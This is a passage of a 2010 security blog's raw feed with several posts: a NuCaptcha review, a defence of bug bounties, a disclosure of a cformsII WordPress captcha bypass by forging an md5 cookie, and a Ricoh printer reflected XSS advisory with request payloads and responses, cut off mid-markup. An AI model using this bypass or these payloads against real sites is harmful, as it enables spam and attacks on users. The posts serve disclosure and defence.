type='text'>A few words about NuCaptcha</title><content type='html'>After my recent posting about the&amp;nbsp;&lt;a href="http://cosine-security.blogspot.com/2010/12/cformsii-captcha-bypass-vulnerability.html"&gt;Cforms Captcha Bypass Vulnerability&lt;/a&gt;&amp;nbsp;the folks over at&amp;nbsp;&lt;a href="http://www.nucaptcha.com/"&gt;NuCaptcha&lt;/a&gt;&amp;nbsp;asked me to take a look at their offering. I took a poke around the free version of the product/service that they offer.&lt;br /&gt;&lt;br /&gt;A Slightly Different Approach:&lt;br /&gt;Lots of people are trying to come up with new and innovative approaches to the Captcha concept as OCR bots continually demolish a lot of the products out there. On top of that, there are pay services now, where humans will set and crunch captchas for you all day long. This leaves us with a question of how to change the game enough to continue moving forward. I've seen a lot of different ideas about this, and nu/captcha's is far from the most innovative. That being said, it works well enough for now. Their Captcha's are animated, and provide text that is and isn't part of the captcha. You are asked to enter in only the text that appears in red.&lt;br /&gt;&lt;br /&gt;This is definitely a step in the right direction. That being said, the red text always appears at the end of the string. I would think it&amp;nbsp;might&amp;nbsp;be a little more effectively to randomly colourise charachters within the string, not clumping them together, and not putting them at a&amp;nbsp;predictable&amp;nbsp;location. also, since they are colour coded, I can certainly envision an OCR bot capable of distinguishing colours. This is compensated for a bit by all the animation in the background. Especially the ones with the full advertisements in the background. This provides a lot of 'noise' to help confuse any OCR bots. However, I don't think the NuCaptcha system is going to be impervious to OCR techniques, not by a long shot.&lt;br /&gt;&lt;br /&gt;Ways i&amp;nbsp;might&amp;nbsp;suggest to&amp;nbsp;improve&amp;nbsp;this technique:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Use random charachters out of the larger text string to colour code&lt;/li&gt;&lt;li&gt;Colourise all charachters in the string, different colours and randomly select the 'correct' colour each request (one request wants the blue&amp;nbsp;letters, the next the yellows, etc). sort of adding entropy to both the letters and colours&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;What about the paid OCR crackers? Well, Nucaptcha claims they address this by&amp;nbsp;increasing&amp;nbsp;the ammount of time it take a person to recognise and&amp;nbsp;complete&amp;nbsp;each captcha, by a few seconds. Whether this is true or not, I doubt that it will make much of a serious impact. that being said, if anyone has any better ideas out there, i'd&amp;nbsp;love&amp;nbsp;to hear them.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Where their&amp;nbsp;technique&amp;nbsp;really shines through is more in usability than security. I have gotten to the point where the pure sight of a captcha irritates me. They are often so illegible that an actual human has a hard time filling the stupid things out correctly on the first try. I do not feel any of that frustration with their system. Also the idea to blend advertising space into their solution is a pretty savy business move in my opinion.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The Pseudo-Technical:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;so I took some preliminary dives&amp;nbsp;through&amp;nbsp;their offerings. They offer PHP,Java, and .NET APIs. I subjected the .NEt and JAVA APIs to some static analysis tools and let them run. I then ran some quick php examples and their WordPress plugin through a Web application Scanner and let it fly. I snatched at some of their SWF components and ran them through a decompiler app, and didn't find much of itnerest there. Finally I poked and prodded from within burpsuite looking for anything unusual.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The long and short of it is that I found nothing of real interest there. I have not, and probably will not go digging line by line through their source code. For one thing, it looks like a bunch of the real work is offloaded back to their environment to some&amp;nbsp;internal&amp;nbsp;webapps on their side. For another, nothing in my cursory examinations turned up anything the&amp;nbsp;least&amp;nbsp;bit indicative of a problem. Maybe someone more determined will come along and find something i missed.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So is nucaptcha the "most secure" captcha solution out there? Beats me. I don't honestly know how to make such a comparison in the market place. What i do know is that it works, it is end-user friendly, and it does not have any glaring defects. Perhaps not as&amp;nbsp;glowing&amp;nbsp;of a recommendation as they were hoping for, but anything more definitive is just asking for me to be proven wrong. cheers!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;UPDATE: Christopher Bailey from NuCaptcha wanted me to point out that the red letters option is only one form the security Captcha can take. They have different variants as can be seen&amp;nbsp;&lt;a href="http://www.nucaptcha.com/resources/nucaptchasecurityplatform/behavioranalysis"&gt;Here&lt;/a&gt;. The actual &amp;nbsp;captcha text is still always at a&amp;nbsp;predictable&amp;nbsp;location within the string though, so my suggestion about randomly selecting&amp;nbsp;characters&amp;nbsp;within the string still stands. Thanks to the folk from NuCaptcha for inviting me to take a peek though. I certainly appreciate their openness if nothing else.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-1845716111925305388?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/1845716111925305388/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/12/few-words-about-nucaptcha.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/1845716111925305388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/1845716111925305388'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/12/few-words-about-nucaptcha.html' title='A few words about NuCaptcha'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-7497898288779676603</id><published>2010-12-17T07:27:00.000-08:00</published><updated>2010-12-17T08:32:28.717-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bug bounty'/><category scheme='http://www.blogger.com/atom/ns#' term='rants'/><category scheme='http://www.blogger.com/atom/ns#' term='FUD'/><title type='text'>Dear Mr Haywood, Welcome to 2010</title><content type='html'>There has been some controversy over the recent rise in bug bounty programs. One response was issued by Anthony Haywood, CTO of Idappcom. You can find his article &lt;a href="http://www.techjournalsouth.com/2010/11/27808/"&gt;here&lt;/a&gt;. I read this article in&amp;nbsp;disbelief&amp;nbsp;at some of the 'points' espoused in this article. I will avoid the more mundane trollings &amp;nbsp;of the article and try to stick to the salient points.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: red; font-family: 'Lucida Grande', Verdana, Arial, sans-serif; font-size: 12px; line-height: 16px;"&gt;At Idappcom, we’d argue that these sorts of schemes are nothing short of a publicity stunt and, infact, can be potentially dangerous to an end users security.&lt;/span&gt;&lt;/blockquote&gt;This is the crux of his argument. It is 2010, and we are still hearing the Security through Obscurity argument touted as a valid security strategy?&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: red; font-family: 'Lucida Grande', Verdana, Arial, sans-serif; font-size: 12px; line-height: 16px;"&gt;One concern is that, by inviting hackers to trawl all over a new application prior to its launch, just grants them more time to interrogate it and identify weaknesses which they may decide is more valuable if kept to themselves.&lt;/span&gt;&lt;/blockquote&gt;If a company is already at the phase of it's security evolution where it is attempting bug bounties, it more than likely has an SDL in place. This SDL should include&amp;nbsp;rigorous&amp;nbsp;review, source code analysis, and even penetration testing by an internal security team. Nobody is suggesting that a company should rely solely on bug bounties to find it's security flaws. Intimating that this is happening is a red herring and this statement is &amp;nbsp;a classic example of FUD in action. Mr Haywood is essentially saying "If you let hackers see your program before your customers get it, they will be even more likely to find ways to abuse it". First of all, to my knowledge these bug bounties do not include distributing pre-release versions of code to hackers on the Internet. It is simply a way of incentivising security researchers and/or hackers to responsible disclosure by offering monetary award for their contribution. Mr. Haywood, hackers are already&amp;nbsp;going&amp;nbsp;to be trawling all over these applications. A bug bounty is just trying to bribe them to giving what they find back to the vendor.&lt;br /&gt;&lt;br /&gt;Which ties into my second point: what;'s the difference if they see it now or later. If a&amp;nbsp;company&amp;nbsp;did what you're suggesting, there will be a portion of people who may well hold back the information to use after release. There will, however, also be legitimate security researchers who will turn over what they find, which will likely overlap with the findings of the malicious sorts. This increases the chance that the vendor will be able to issue a fix &lt;b&gt;before&lt;/b&gt;&amp;nbsp;going to release. Explain to me again, how this is dangerous, or negative in any way?&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: red; font-family: 'Lucida Grande', Verdana, Arial, sans-serif; font-size: 12px; line-height: 16px;"&gt;The hacker would happily claim the reward, promise a vow of silence and then ‘sell’ the details on the black market leaving any user, while the patch is being developed or if they fail to install the update, with a great big security void in their defences just waiting to be exploited.&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Yes some malicious hackers will try to do evil, but us good guys will likely find the same things and report it. Your statement seems to imply that anyone looking over the code would be malicious. Frankly, I find this insulting. I have turned in numerous&amp;nbsp;vulnerabilities&amp;nbsp;to vendors without any promise of reward even. I have gone full&amp;nbsp;disclosure&amp;nbsp;in the event that my attempts to elicit a response from the vendor have failed. The same can be said about any number of small time folk like me, never mind people like Tavis Ormandy, Michal Zalewski, HD Moore, Jeremiah Grossman, Rob Hansen , etc. &amp;nbsp;You seem to be taking a pretty broad shot at the security community in general, with statements such as these. moving on.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: red; font-family: 'Lucida Grande', Verdana, Arial, sans-serif; font-size: 12px; line-height: 16px;"&gt;Sometimes it’s not even a flaw in the software that can cause problems. If an attack is launched against the application, causing it to fail and reboot, then this denial of service (DOS) attack can be just as costly to your organisation as if the application were breached and data stolen.&lt;/span&gt;&lt;/blockquote&gt;I'm not even sure what point you are trying to make here. Yes there are Denial of Service vulnerabilities out there. What does that have to do with your argument at all?&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: red; font-family: 'Lucida Grande', Verdana, Arial, sans-serif; font-size: 12px; line-height: 16px;"&gt;A final word of warning is that, even if the application isn’t hacked today, it doesn’t mean that tomorrow they’re not going to be able to breach it.&lt;/span&gt;&lt;/blockquote&gt;That's exactly right. That is why a continuous security program needs to be in place. Security needs to be a factor from project conception, through the development lifecycle, all the way past release. Testing needs to be done continually. A bug bounty is a way of&amp;nbsp;crowd sourcing&amp;nbsp;continued testing in the wild.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: red; font-family: 'Lucida Grande', Verdana, Arial, sans-serif; font-size: 12px; line-height: 16px;"&gt;IT’s never infallible and for this reason penetration testing is often heralded as the hero of the hour. That said technology has moved on and, while still valid in certain circumstances, historical penetration testing techniques are often limited in their effectiveness. Let me explain – a traditional test is executed from outside the network perimeter with the tester seeking applications to attack.&lt;/span&gt;&lt;/blockquote&gt;Wow.&amp;nbsp;You&amp;nbsp;take one possible portion of a penetration test, and say "this is what a penetration test is" while ignoring all the other factors at play. &amp;nbsp;An external only Black Box pen test may go like this, but there are many different way to perform a pen test, depending upon the engagement.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: red; font-family: 'Lucida Grande', Verdana, Arial, sans-serif; font-size: 12px; line-height: 16px;"&gt;However, as these assaults are all from a single IP address, intelligent security software will recognise this behaviour as the IP doesn’t change. Within the first two or three attempts the source address is blacklisted or fire walled and all subsequent traffic is immaterial as all activities are seen and treated as malicious.&lt;/span&gt;&lt;/blockquote&gt;If you are really really bad at performing penetration tests, this may be true. A real penetration tester will&amp;nbsp;pivotwhenever&amp;nbsp;possible. Since we are specifically talking about AppSec(that's short for Application Security Mr Haywood) this becomes even more relevant. In pen testing web apps it is extremely easy to&amp;nbsp;disguise&amp;nbsp;yourself as a perfectly normal user. A standard IPS is mostly ineffective in this realm, and WAFS are notoriously hard to configure in any meaningful way that does not break a complex application's functionality. Also,&amp;nbsp;remembering&amp;nbsp;that we are talking AppSec, a good pen tester will probably have proxies he can flow through. So if an IP gets blocked, he&amp;nbsp;just&amp;nbsp;comes from a different IP.&lt;br /&gt;&lt;br /&gt;I was a little perplexed by this strange attack on penetration Testing. Then I found this article:&lt;br /&gt;&lt;h1 style="color: #333333; font-family: Georgia, 'Times New Roman', serif; font-size: 24px; font-weight: normal; line-height: 24px; margin-bottom: 6px; margin-left: 0px; margin-right: 0px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.networkworld.com/news/2010/092810-idappcom-seeks-to-displace-penetration.html"&gt;Idappcom seeks to displace penetration testers&lt;/a&gt;&lt;/h1&gt;&lt;div style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11px; line-height: 15px;"&gt;&lt;br /&gt;&lt;/div&gt;Where you claim that your nifty little appliance will somehow replace penetration testers. So we can read your entire position as "don't trust manual testing, buy our product instead". Hardly the first time we've seen such a tactic from the vendors. Let's take a look at this for a moment though. Will your appliance detect someone exploiting a business logic flaw? will it shut down an attacker connecting to a file share with an overly permissive ACL? will it be able to detect multi-step attacks against web applications? Will it really notice a SQL injection attack, and if so how does it know the difference between a valid query and an injected one? These are the sorts of questions that present the burning need for manual human review on a repeat basis. &amp;nbsp;no matter how hard you try, you will never be able to fully automate this. Actual humans will always find things a program can't. Let's move back the the techjournalsouth.com article though.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: red; font-family: 'Lucida Grande', Verdana, Arial, sans-serif; font-size: 12px; line-height: 16px;"&gt;&amp;nbsp;Instead you need two and both need to be conducted simultaneously if your network’s to perform in perfect harmony:&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; Application testing combined with intrusion detection&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Congratulations, we have all been saying there is no magic bullet for a long time.&amp;nbsp;However, you present only two layers of defense in depth. application Testing and IPS by themselves are not enough. You need a full Security Development Lifecycle. You needs firewalls and IPS systems that are properly configured and audited on a regular basis. You need policies governing change management, and configuration management. You need&amp;nbsp;proper&amp;nbsp;network&amp;nbsp;segmentation&amp;nbsp;and&amp;nbsp;separation&amp;nbsp;of duties. You need hands on testers who know how to tear an application or system apart and find the weak points.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: red; font-family: 'Lucida Grande', Verdana, Arial, sans-serif; font-size: 12px; line-height: 16px;"&gt;Intrusion detection, capable of spotting zero day exploits, must be deployed to audit and test the recognition and response capabilities of your corporate security defences. It will substantiate that, not only is the network security deployed and configured correctly, but that it’s capable of protecting the application that you’re about to make live or have already launched irrespective of what the service it supports is – be it email, a web service, anything.&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;First of all, see some of previous points about IPS/WAFS and protecting against web application attacks. &amp;nbsp;Secondly, let;'s talk about your 'zero day' protection. This protection is only as good as the signatures loaded into the device. I could write an entire book on why signature based security mechanisms are doomed to fail, and i would be far from the first person to speak at length on&amp;nbsp;this&amp;nbsp;subject. For some of the high points just look back at my posts with Michal Zalewski about the anti-virus world. I'll leave it there.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: red; font-family: 'Lucida Grande', Verdana, Arial, sans-serif; font-size: 12px; line-height: 16px;"&gt;While we wait with baited breath to see who will lift Deutsche Post’s Security Cup we mustn’t lose sight of our own challenges. My best advice would be that, instead of waiting for the outcome and relying on others to keep you informed of vulnerabilities in your applications, you must regularly inspect your defences to make sure they’re standing strong with no chinks. If you don’t the bounty may as well be on your head.&lt;/span&gt;&lt;/blockquote&gt;Yes, and one of the ways you inspect these defenses, is to have skilled people testing them on a &amp;nbsp;regular basis. Relying on a magic bullet security appliance or application to save you is irresponsible and foolish. Don't buy into vendor FUD.&lt;br /&gt;&lt;br /&gt;Special thanks to Dino Dai Zovi(found &lt;a href="http://www.theta44.org/research.html"&gt;here&lt;/a&gt; and &lt;a href="http://trailofbits.com/"&gt;here&lt;/a&gt;) for pointing out this article.&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-7497898288779676603?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/7497898288779676603/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/12/dear-mr-haywood-welcome-to-2010.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/7497898288779676603'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/7497898288779676603'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/12/dear-mr-haywood-welcome-to-2010.html' title='Dear Mr Haywood, Welcome to 2010'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-3964973941510694622</id><published>2010-12-15T11:12:00.000-08:00</published><updated>2010-12-28T13:12:51.934-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='captcha'/><category scheme='http://www.blogger.com/atom/ns#' term='wordpress'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='cforms'/><category scheme='http://www.blogger.com/atom/ns#' term='bypass'/><category scheme='http://www.blogger.com/atom/ns#' term='Full Disclosure'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><title type='text'>cformsII CAPTCHA Bypass Vulnerability</title><content type='html'>The cformsII plugin for WordPress contains a vulnerability within its Captcha Verification functionality. This vulnerability exists due to an inherent trust of user controlled input. An attacker could utilise this vulnerability to completely bypass the captcha security mechanism on any wordpress forms created with this plugin.&lt;br /&gt;&lt;br /&gt;Captcha Generation:&lt;br /&gt;CformsII generates it's captcha by randomly selecting characters from a character set of ak,m,n,p-z2-9. I assume that the letters l and o, and the numerals 1 and 0 were excluded to avoid any confusion when rendered as an image. It selects a random number of these characters based on preset minimum and maximum limits, and assembles a string of them. It then creates an md5 hash of this string, prepends 'i+' to the hash and sets it as a cookie called 'turing_string_'. See the below code excerpts:&lt;br /&gt;----------------------&lt;br /&gt;$min = prep( $_REQUEST['c1'],4 );&lt;br /&gt;$max = prep( $_REQUEST['c2'],5 );&lt;br /&gt;$src = prep( $_REQUEST['ac'], 'abcdefghijkmnpqrstuvwxyz23456789');&lt;br /&gt;----------------------&lt;br /&gt;&lt;br /&gt;### captcha random code&lt;br /&gt;$srclen = strlen($src)-1;&lt;br /&gt;$length = mt_rand($min,$max);&lt;br /&gt;&lt;br /&gt;$turing = '';&lt;br /&gt;for($i=0; $i&amp;lt;$length; $i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$turing .= substr($src, mt_rand(0, $srclen), 1);&lt;br /&gt;&lt;br /&gt;$tu = ($_REQUEST['i']=='i')?strtolower($turing):$turing;&lt;br /&gt;&lt;br /&gt;setcookie('turing_string_'.$no, $_REQUEST['i'].'+'.md5($tu),(time()+60*60*5),"/");&lt;br /&gt;--------------------------&lt;br /&gt;&lt;br /&gt;This cookie is set when the user is presented with generated captcha image. When they submit their completed form, the capctha code is submitted in a POST parameter titled 'cforms_captcha'. This parameter is then md5'd and compared to the md5 value from the turing_string_ cookie. If the two hashes match, then it is considered to be valid.&lt;br /&gt;&lt;br /&gt;-------------------------&lt;br /&gt;else if( $field_type == 'captcha' ){ &amp;nbsp;### captcha verification&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$validations[$i+$off] = 1;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;$a = explode('+',$_COOKIE['turing_string_'.$no]);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;$a = $a[1];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;$b = md5( ($captchaopt['i'] == 'i')?strtolower($_REQUEST['cforms_captcha'.$no]):$_REQUEST['cforms_captcha'.$no]);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if ( $a &amp;lt;&amp;gt; $b ) {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;$validations[$i+$off] = 0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;$err = !($err)?2:$err;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;br /&gt;-----------------------&lt;br /&gt;&lt;br /&gt;The end result is that an attacker could pre-set a 'valid' captcha string. They then get the md5 hash of the string, and prepend “i%2b” (url encoded 'i+') to the value and set that as the turing_string_ cookie for their post requests. Every request set with this parameter and cookie combination will be inherently trusted as valid from the Captcha standpoint.&lt;br /&gt;&lt;br /&gt;The problem here is two fold. The first issue, is that the captcha codes are not one time use codes, as they should be. So even without tricking the Captcha system in the first place, it would be possible to launch &amp;nbsp;a replay attack against this system to generate large amounts of submissions. Each captcha code should only be valid for one use and only during a very limited time window.&lt;br /&gt;&lt;br /&gt;The second problem is the trust of user supplied data. The process is meant to create a validation of entered data against another piece of data. However both sets of data are freely offered up to the client-side for tampering. This completely negates the verification process as the server side is not truly in control of the validation at this point.&lt;br /&gt;&lt;br /&gt;The take-away:&lt;br /&gt;using cookies to store captcha data then comparing against user supplied input is not an appropriate method of validation for a number of reasons. The captcha code, whether in raw form or hashed should be stored server side for validation, should be valid for only one use, and should be valid only for a limited timeframe. This could be done by using an in-memory array, a database, or even a flatfile.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-3964973941510694622?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/3964973941510694622/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/12/cformsii-captcha-bypass-vulnerability.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/3964973941510694622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/3964973941510694622'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/12/cformsii-captcha-bypass-vulnerability.html' title='cformsII CAPTCHA Bypass Vulnerability'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-2179361795286661413</id><published>2010-11-09T10:16:00.000-08:00</published><updated>2010-11-09T10:16:37.166-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><title type='text'>Ricoh Web Image monitor 2.03 Reflected XSS Vuln</title><content type='html'>I was poking at some Ricoh MFPs several days ago, when I found this. It is nothing to get to terribly excited about as it's just a reflected XSS. However, the ability to abuse any trusted internal IP should be treated as a threat. Companies have taken big hits from less. So without further ado, here are the petty little details:&lt;br /&gt;&lt;br /&gt;Fun with Redirects:&lt;br /&gt;My inital test was just an abuse of the redirect functionality that is being exploited for the vector.&lt;br /&gt;GET /?";location.href="http://cosine-security.blogspot.com HTTP/1.1&lt;br /&gt;&lt;br /&gt;HTTP/1.0 200 OK&lt;br /&gt;Date: Tue, 09 Nov 2010 17:58:00 GMT&lt;br /&gt;Server: Web-Server/3.0&lt;br /&gt;Content-Type: text/html; charset=UTF-8&lt;br /&gt;Content-Length: 683&lt;br /&gt;Expires: Tue, 09 Nov 2010 17:58:00 GMT&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;Set-Cookie: cookieOnOffChecker=on; path=/&lt;br /&gt;Connection: close&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="refresh" content="1; URL=/web/guest/en/websys/webArch/message.cgi?messageID=MSG_JAVASCRIPTOFF&amp;amp;buttonURL=/../../../"&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="Cache-Control" content="no-cache"&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="Pragma" content="no-cache"&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="Expires" content="-1"&amp;gt;&lt;br /&gt;&amp;lt;title&amp;gt;Web Image Monitor&amp;lt;/title&amp;gt;&lt;br /&gt;&amp;lt;script language="javascript"&amp;gt;&lt;br /&gt;&amp;lt;!--&lt;br /&gt;function jumpPage(){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;self.document.cookie="cookieOnOffChecker=on; path=/";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;location.href="/web/guest/en/websys/webArch/mainFrame.cgi?";location.href="http://cosine-security.blogspot.com";&lt;br /&gt;}&lt;br /&gt;// --&amp;gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body onLoad="jumpPage()"&amp;gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A more traditional XSS test will still work just as well of course:&lt;br /&gt;&lt;br /&gt;Traditional Test:&lt;br /&gt;GET /?--&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert(51494)&amp;lt;/script&amp;gt; HTTP/1.1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;HTTP/1.0 200 OK&lt;br /&gt;Date: Fri, 29 Oct 2010 17:43:19 GMT&lt;br /&gt;Server: Web-Server/3.0&lt;br /&gt;Content-Type: text/html; charset=UTF-8&lt;br /&gt;Content-Length: 672&lt;br /&gt;Expires: Fri, 29 Oct 2010 17:43:19 GMT&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;Set-Cookie: cookieOnOffChecker=on; path=/&lt;br /&gt;Connection: close&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="refresh" content="1; URL=/web/guest/en/websys/webArch/message.cgi?messageID=MSG_JAVASCRIPTOFF&amp;amp;buttonURL=/../../../"&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="Cache-Control" content="no-cache"&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="Pragma" content="no-cache"&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="Expires" content="-1"&amp;gt;&lt;br /&gt;&amp;lt;title&amp;gt;Web Image Monitor&amp;lt;/title&amp;gt;&lt;br /&gt;&amp;lt;script language="javascript"&amp;gt;&lt;br /&gt;&amp;lt;!--&lt;br /&gt;function jumpPage(){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;self.document.cookie="cookieOnOffChecker=on; path=/";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;location.href="/web/guest/en/websys/webArch/mainFrame.cgi?--&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert(51494)&amp;lt;/script&amp;gt;";&lt;br /&gt;}&lt;br /&gt;// --&amp;gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body onLoad="jumpPage()"&amp;gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_XO4oPTSf_6U/TNmPmSf0I4I/AAAAAAAAAAU/35e7LnzuHK0/s1600/ricoh-xss1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="217" 